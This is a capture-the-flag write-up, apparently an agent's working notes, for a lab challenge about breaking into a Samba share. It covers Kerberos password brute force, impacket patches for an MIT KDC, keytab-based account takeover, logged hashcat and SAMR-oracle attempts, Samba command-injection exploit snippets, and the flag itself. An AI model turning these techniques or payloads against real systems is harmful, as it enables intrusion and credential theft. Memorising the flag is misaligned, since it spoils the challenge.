Data Storage (3 stars, Internal Systems)¶
Challenge¶
Hi Senior Researcher, the scientific community needs to access a data repository for the timely completion of a groundbreaking scientific publication in vexillology, but the administrator of the repository and all its users are away from civilization on a teambuilding trip. Your task is to gain the access. Stay curious! Data repository sits on smb.nren.tcc
Flag format: Flag{xxxx-xxxx-xxxx-xxxx}
Flag¶
FLAG{ShWJ-CVi0-cZ2W-7DsZ}
Solution¶
Step 1: Enumerate SMB shares¶
Connect anonymously to smb.nren.tcc. Two shares: public (guest read-only) and private (Kerberos required).
Read teambuilding.txt and it_notice.txt from public to learn usernames (kevin, eve, jane, dmitri) and Kerberos config (realm NREN.TCC, kdc kdc.nren.tcc).
Step 2: Find jane's password¶
Brute-forced Kerberos pre-auth for all 4 users. jane's password is 12345.
Discovery: testing simple passwords, jane:12345 produced a PyAsn1Error instead of KDC_ERR_PREAUTH_FAILED — the AS-REP decrypted successfully but the ASN.1 parser choked on MIT KDC's non-standard tag (see Technical Notes).
Step 3: Get TGT and TGS for jane (MIT KDC quirks)¶
Two impacket issues with this MIT KDC required manual protocol handling:
-
DER tag mismatch: MIT KDC returns EncTGSRepPart (application tag 26/0x7a) in AS-REP instead of EncASRepPart (tag 25/0x79). Fix: patch the first byte of the decrypted enc-part from 0x7a to 0x79 before parsing.
-
Mandatory req-body checksum: MIT KDC requires a checksum of the TGS-REQ req-body in the authenticator (impacket omits it). The checksum must be computed over the inner SEQUENCE encoding (tag 0x30) of the req-body, NOT the context-tagged version (tag 0xa4) that pyasn1's
encoder.encode()produces when the reqBody is created viaseq_set(). Fix: strip the outer[4]context tag before checksumming.
# 1. Fix DER tag in AS-REP enc-part
plainText = cipher_cls.decrypt(key, 3, encPartData)
if plainText[0] == 0x7a:
plainText = bytes([0x79]) + plainText[1:]
encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0]
# 2. Strip context tag for req-body checksum
encodedFull = encoder.encode(reqBody) # starts with 0xa4 (context [4])
if encodedFull[0] == 0xa4:
if encodedFull[1] & 0x80:
nlen = encodedFull[1] & 0x7f
innerSeq = encodedFull[2 + nlen:]
else:
innerSeq = encodedFull[2:]
cksum = make_checksum(16, sessionKey, 6, innerSeq) # cksumtype 16 = hmac-sha1-96-aes256
# Add to authenticator: auth['cksum']['cksumtype'] = 16, auth['cksum']['checksum'] = cksum
Step 4: Access private share as jane¶
With jane's TGS for cifs/smb.nren.tcc, pass it to SMBConnection.kerberosLogin() as a dict:
TGS_dict = {'KDC_REP': raw_tgs_bytes, 'cipher': svc_cipher, 'sessionKey': svc_key, 'oldSessionKey': sessionKey}
smb.kerberosLogin('jane', '', 'NREN.TCC', kdcHost='kdc.nren.tcc', TGS=TGS_dict, useCache=False)
Private share contents:
private/
├── jane/ (readable by jane)
│ ├── fact1.txt — CESNET/e-INFRA CZ info text
│ ├── fact2.txt — same
│ ├── fact3.txt — same
│ └── image.png — PNG image
├── kevin/
│ ├── kevin.keytab (130 bytes) — readable by jane!
│ └── flag.txt (26 bytes) — ACCESS_DENIED for jane
├── eve/
│ └── testing.txt — ACCESS_DENIED for jane
└── dmitri/ — empty
Step 5: Use kevin's keytab to read the flag¶
kevin.keytab contains kevin's AES256 and AES128 keys (kvno 2):
etype 18 (AES256): ca2375d2f9a22289c4991acfafd5cb9f3a4bddd640730f0003f0395233bea95e
etype 17 (AES128): c4fd34fc533defc930bca45540eb21a1
Use the AES256 key directly for pre-auth (PA-ENC-TIMESTAMP, key usage 1) — no password needed:
kevin_key = Key(18, bytes.fromhex('ca2375d2...'))
encTS = cipher_cls.encrypt(kevin_key, 1, encoder.encode(pa_ts), None)
Get TGT as kevin → get TGS for cifs/smb.nren.tcc → authenticate to SMB → read kevin/flag.txt:
FLAG{ShWJ-CVi0-cZ2W-7DsZ}
Infrastructure¶
SMB Server: smb.nren.tcc (10.99.26.31)¶
- Samba 4.22.8-Debian
- Ports: 139/tcp, 445/tcp (only these two)
- SMB signing enabled but not required
- Two shares:
public— guest access, read-onlyprivate— requires Kerberos authentication- NTLM auth maps to guest (
map to guest = bad user/bad password) - No local Samba users (only guest RID 501)
KDC: kdc.nren.tcc (10.99.26.30)¶
- Port: 88/tcp (only this one — 464/kpasswd, 749/kadmin, 389/LDAP, 22/SSH all closed)
- Realm: NREN.TCC
- MIT Kerberos (not Active Directory)
- PBKDF2 with 4096 iterations for AES256 key derivation
- RC4 (etype 23) NOT supported — must use AES (etype 18)
krb5.conf¶
[libdefaults]
default_realm = NREN.TCC
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
NREN.TCC = {
kdc = kdc.nren.tcc
admin_server = kdc.nren.tcc
}
[domain_realm]
.nren.tcc = NREN.TCC
nren.tcc = NREN.TCC
Public Share Contents¶
teambuilding.txt¶
2026 TEAMBUILDING CHART - local branch A
+-------------------+-----------------+--------------+-------------------+
| name | attendance | sleepover | notes |
+-------------------+-----------------+--------------+-------------------+
| kevin | no | no | not interested |
| eve | yes | yes | room with jane |
| jane | yes | yes | room with eve |
| dmitri | yes | yes | room with jane ;) |
+-------------------+-----------------+--------------+-------------------+
it_notice.txt¶
Kevin (head of IT) notice about Kerberos migration: - realm: NREN.TCC, kdc: kdc.nren.tcc - "your login will be the same as your company account, i.e. yourname@REALM" - "You should be able to Google the rest of the config" - Contains typos: "neccessary", "Regural"
Known Users¶
- kevin — IT head, set up Kerberos, "not interested" in teambuilding
- eve — attending, room with jane
- jane — attending, room with eve
- dmitri — attending, "room with jane ;)"
- All 4 require Kerberos pre-authentication
Kerberos Principals Without Pre-Auth¶
kadmin/changepw— no pre-auth requiredkadmin/admin— no pre-auth required
Cross-Challenge Intel¶
- From ticket_system: Kevin used password
LearnHowToOptimizefor DB (db.nren.tcc, user crmtest). Did NOT work for any Kerberos user.
What Has Been Tried (Exhaustively)¶
1. Network Brute Force (all failed)¶
- All 4 users x top 10K rockyou (>=5 chars) = 40,000 attempts at ~11/s
- All 4 users x ~106 themed passwords (vexillology terms, typos from files, user names, CTF terms, cross-challenge passwords + variations)
- All 4 users x 156 creative/themed passwords + 91 CamelCase phrases
- All 4 users x 1960 name+special+number patterns (from quantum_repository_keys policy hint)
- All 4 users x 180 misc patterns
LearnHowToOptimize+ variations for kevinadmin#1234+ variations for kadmin/admin and kadmin/changepw- cifs/smb.nren.tcc service principal x ~60 common passwords
2. AS-REP Roasting + Hashcat GPU Cracking (extraction OK, crack failed)¶
- Extracted AS-REP (no pre-auth) for kadmin/changepw and kadmin/admin (etype 18, AES256)
- Extracted TGS ticket for cifs/smb.nren.tcc (etype 18, AES256, kvno 2, 433 bytes)
- Hashcat GPU (GTX 1650, ~135k H/s) — cracked all three hashes against full rockyou (14.3M):
- AS-REP kadmin/changepw (salt=NREN.TCCkadminchangepw, mode 32200): EXHAUSTED
- AS-REP kadmin/admin (salt=NREN.TCCkadminadmin, mode 32200): EXHAUSTED
- TGS cifs/smb.nren.tcc (salt=NREN.TCCcifssmb.nren.tcc, mode 19700): EXHAUSTED
- Also tried with original salt
kadmin/changepw(with slash): EXHAUSTED - Hashcat with rules — dive.rule (98K rules) on 20 targeted words (~2M combinations): EXHAUSTED
- Each hash took ~2 minutes against full rockyou at GPU speed
3. CPU Offline Cracking (failed)¶
- top10K x 3 salt variants for kadmin/changepw AS-REP: no match
- top100K x 3 salt variants for kadmin/changepw AS-REP: no match
- Full rockyou attempted but failed due to multiprocessing error under
python3 -I
4. SMB Enumeration (expanded)¶
- RID brute force: only guest (RID 501)
lookupnames: kevin(S-1-22-1-1001), eve(S-1-22-1-1002), jane(S-1-22-1-1003), dmitri(S-1-22-1-1004) — Unix UID-mapped SIDs- Domain SID: S-1-5-21-4234862031-1388807591-4152307358
querydominfo: Domain=WORKGROUP, Server=SMB, Role=ROLE_DOMAIN_PDCgetdompwinfo: min_password_length=5, password_properties=0x00000000- Share paths: public→
C:\data\public, private→C:\data\private(i.e.,/data/publicand/data/private) - Private share ACL: S-1-1-0 (Everyone) has FULL access (0x1f01ff) — only Kerberos auth is the barrier
- Path traversal from public to private: NT_STATUS_OBJECT_NAME_NOT_FOUND
5. Port Scanning (minimal attack surface)¶
- KDC: only port 88/tcp open (full -p- scan confirmed)
- SMB: only ports 139/tcp, 445/tcp open (full -p- scan confirmed)
- No LDAP (389), no kadmin (749), no kpasswd (464), no SSH (22), no HTTP, no RPC endpoint mapper (135)
6. CVE-2026-4480 — Samba Print %J Injection (NOT exploitable)¶
- Samba 4.22.8 is vulnerable (fix in 4.22.10)
- Exploit requires a printable share with
print commandcontaining%J - No printers configured:
enumprintersreturns empty - Printing subsystem is active: Spooler service running, "Samba Printer Port" exists, DefaultSpoolDirectory set
- Tried adding printer via rpcclient
addprinter: WERR_ACCESS_DENIED (as anonymous/guest) - Tried opening printer handles for 14 different names: all WERR_INVALID_PRINTER_NAME
- Tried submitting print job to public share: NT_STATUS_ACCESS_DENIED
- Conclusion: Cannot exploit without a printable share. Need authenticated access to add a printer.
7. CVE-2026-4408 — Samba SAMR Password Script Injection (NOT exploitable)¶
- Samba 4.22.8 is vulnerable (fix in 4.22.10)
- Exploit injects commands via
%u(username) incheck password script - Uses
SamrValidatePassword(opnum 67) — levels 1, 2, and 3 all tried - ACCESS_DENIED for all levels as anonymous
- Guest auth fails due to SMB2 signature mismatch
- Also tried injection through
chgpasswd3username field: returns NT_STATUS_WRONG_PASSWORD (old password check happens before script invocation) - No TCP RPC endpoint (port 135 closed), only named pipes via SMB
- Conclusion: Requires authenticated access to call SamrValidatePassword, or correct old password for chgpasswd3 path
8. Kerberos Protocol Exploration (no bypass found)¶
- Confirmed salts via etype-info2: kevin→
NREN.TCCkevin, eve→NREN.TCCeve, jane→NREN.TCCjane, dmitri→NREN.TCCdmitri - cifs/smb.nren.tcc salt:
NREN.TCCcifssmb.nren.tcc - Supported etypes: AES128 (17) and AES256 (18) only
- Checked 17+ special/anonymous principals (WELLKNOWN/ANONYMOUS, host/, nfs/, HTTP/, etc.)
- K/M principal exists but is REVOKED
- kpasswd protocol works through port 88 (not just 464), confirmed via changepasswd.py
- No zone transfer or interesting DNS records
9. Registry Enumeration (partial, smbconf ACCESS_DENIED)¶
- Readable keys: HKLM\SOFTWARE\Samba (has smbconf, Group Policy), HKLM\SYSTEM\CurrentControlSet
- smbconf: ACCESS_DENIED — can't read Samba configuration
- Spooler service: Start=2, ImagePath=/usr/lib/x86_64-linux-gnu/samba/svcctl/smbd
- Print subsystem: Forms, Printers (empty), Environments (x86, x64), Monitors (empty)
- LanmanServer\Shares: has Security subkey (empty values)
- ProductType: ServerNT
10. SAMR Password Oracle (works but slow)¶
chgpasswd3 kevin oldpass newpass→ NT_STATUS_WRONG_PASSWORD — confirms SAMR password change worksSamrUnicodeChangePasswordUser2via impacket: ~5 attempts/sec single-threaded- Can brute force NTLM passwords (MD4-based, no PBKDF2) but limited by network round-trips
- Even with 8 threads, only ~20-40/s — 14M rockyou would take days
- 43 targeted passwords tested via SAMR for kevin: all WRONG_PASSWORD
11. Cross-Challenge Credential Reuse (all failed)¶
LearnHowToOptimize(Kevin's DB password from ticket_system): doesn't work for Kerberosadmin#1234(from quantum_repository_keys): doesn't work- Password policy "login + special char + number" pattern: all combinations tried for all 4 users
- osTicket IDOR for Kevin's responses: IDOR is patched, always shows own ticket
- osTicket staff login as kevin: all passwords failed
Dead Ends / Incorrect Routes Explored¶
All of the above approaches (sections 1-11) were explored before finding that jane's password was the trivially simple 12345. Key takeaways:
- AS-REP roasting was a red herring: kadmin/changepw and kadmin/admin lack pre-auth but their passwords are strong — rockyou + rules couldn't crack them.
- CVE exploitation was unnecessary: Both CVE-2026-4480 and CVE-2026-4408 require authenticated access, creating a chicken-and-egg problem. The intended path was simply finding a weak password.
- SAMR brute force was too slow: The NTLM-based password oracle works (~5-40 attempts/sec) but is impractical for large wordlists over the network.
- Hashcat GPU cracking was overkill: The password
12345IS in rockyou, but it was only tested against kadmin hashes, not user hashes (users require pre-auth, so no AS-REP to crack). The actual solve path was online brute force against user principals. - The password
12345was not tested early because the min_password_length is 5, and12345is exactly 5 chars — it should have been in the first batch of attempts. It was likely missed in early runs due to wordlist filtering or ordering issues.
Relevant CVEs for Samba 4.22.8¶
| CVE | Description | Exploitable? | Blocker |
|---|---|---|---|
| CVE-2026-4480 | Print %J job name RCE | NO | No printable share configured |
| CVE-2026-4408 | SAMR password script %u injection | NO | ValidatePassword ACCESS_DENIED as anonymous |
| CVE-2026-1933 | Read-only share bypass via reparse point | UNTESTED | May allow bypassing read-only on public share |
| CVE-2026-58221/58222 | LDAP authorization bypass | N/A | Not an AD DC, no LDAP port |
CVE-2026-4480 Exploit Flow (for reference)¶
# Requires: python3-samba, a valid printer name
from samba.dcerpc import spoolss
iface = spoolss.spoolss(f'ncacn_np:{target}[\\pipe\\spoolss]', lp, creds)
h = iface.OpenPrinter(f'\\\\{target}\\PRINTER_NAME', '', spoolss.DevmodeContainer(), 0x00000008)
i1 = spoolss.DocumentInfo1()
i1.document_name = '|sh' # %J injects this into print command
i1.datatype = 'RAW'
ctr = spoolss.DocumentInfoCtr()
ctr.level = 1
ctr.info = i1
iface.StartDocPrinter(h, ctr)
iface.StartPagePrinter(h)
iface.WritePrinter(h, b'SHELL_COMMAND_HERE\n', len(payload))
iface.EndPagePrinter(h)
iface.EndDocPrinter(h)
CVE-2026-4408 Exploit Flow (for reference)¶
# Requires: check password script with %u, authenticated SAMR access
from samba.dcerpc import samr, lsa
conn = samr.samr(f'ncacn_np:{target}[\\pipe\\samr]', lp, creds)
req = samr.ValidatePasswordReq2()
# ... set info fields ...
acct = lsa.StringLarge()
acct.string = 'user$(COMMAND_HERE)' # %u injection
req.account = acct
conn.ValidatePassword(2, req)
Scripts (in scratchpad)¶
Solution scripts¶
tgs_access.py— complete solve: AS-REQ as jane → TGS-REQ with MIT KDC fixes → SMB access to private share → download kevin.keytabkevin_flag.py— complete solve: AS-REQ as kevin using keytab AES256 key → TGS-REQ → SMB → read flag.txtkevin.keytab— kevin's keytab downloaded from private share
Enumeration / brute force scripts¶
krbbrute_v5.py— fast network brute force with monkey-patched PBKDF2kerberoast_asreq.py— AS-REQ kerberoasting (extract service tickets via AS exchange)crack_tgs.py— offline TGS AES256 crackermt_brute.py— multi-threaded Kerberos brute force (8 threads)samr_fast.py— multi-threaded SAMR password oracle brute forcecheck_anon.py— enumerate special/anonymous Kerberos principalscheck_etypes.py— check supported encryption typesbrute_svc.py— brute force cifs/smb.nren.tcc service principal
Supporting files¶
krb5.conf— Kerberos configtgs_hashcat_fixed.txt— TGS hash for hashcat mode 19700 (salt=cifssmb.nren.tcc)asrep_hashcat_fixed.txt— AS-REP hash for hashcat mode 32200 (salt=kadminchangepw)asrep_admin_hashcat.txt— AS-REP hash for kadmin/admin (salt=kadminadmin)top10k.txt— top 10K rockyou (>=5 chars)top100k.txt— top 100K rockyou (>=5 chars)- Rockyou source:
/home/malisha/Downloads/thecatch2025/rockyou.txt(14.3M entries)
Key Technical Notes¶
MIT KDC vs AD KDC — impacket compatibility¶
- EncTGSRepPart tag: MIT KDC returns application tag 26 (EncTGSRepPart) in AS-REP enc-part instead of tag 25 (EncASRepPart). This is technically RFC-compliant (both map to EncKDCRepPart) but breaks impacket's
getKerberosTGT()which expects tag 25. Fix: patch byte 0 from 0x7a to 0x79 in the decrypted plaintext. - Mandatory TGS-REQ authenticator checksum: MIT KDC requires the authenticator in TGS-REQ to contain a checksum of the req-body (key usage 6, cksumtype 16 for AES256). impacket's
getKerberosTGS()omits this. Without it:KRB_AP_ERR_INAPP_CKSUM. With wrong data:KRB_AP_ERR_BAD_INTEGRITY. - Context tag stripping: pyasn1 encodes a req-body created via
seq_set()with context tag[4](0xa4) wrapping the SEQUENCE. MIT KDC checksums the inner SEQUENCE only. Must strip[4]tag+length before computing the checksum. - Etype negotiation: MIT KDC only supports AES128/AES256. impacket's
getKerberosTGS()requests RC4+DES3+DES+AES — the unsupported types are ignored, not rejected. - CCache saving fails:
CCache.fromTGT()callsstr()on pyasn1 timestamp fields from EncTGSRepPart objects, which throwsPyAsn1Error. Must build TGS-REQ manually instead of saving/loading CCache.
General¶
- Python 3.14 removed MD4 from hashlib — use
impacket.ntlm.compute_nthash()for NTLM - impacket's PBKDF2 is slow (153ms/call) — monkey-patch with
hashlib.pbkdf2_hmac(2.7ms/call) for 90x speedup - Use
python3 -u -Ifor unbuffered output and isolated mode KRB5_CONFIGenv var must be set in every Bash command (shell state doesn't persist)getKerberosTGTsends pre-auth by default, so AS-REP roasting requires custom AS-REQ builder- Hashcat modes: 32200 (AS-REP etype 18), 32100 (AS-REP etype 17), 19700 (TGS etype 18), 19600 (TGS etype 17)
- GTX 1650 GPU: ~135k H/s for Kerberos AES hashes — full rockyou in ~2 minutes
- SAMR password oracle:
chgpasswd3 user oldpw newpw→ NT_STATUS_WRONG_PASSWORD means user exists with different password python3-sambapackage provides native DCE/RPC bindings with correct NDR marshalling- Keytab v2 format:
0x0502header, entries with principal, etype, kvno, and raw key bytes. Parse manually with struct to extract keys for pre-auth.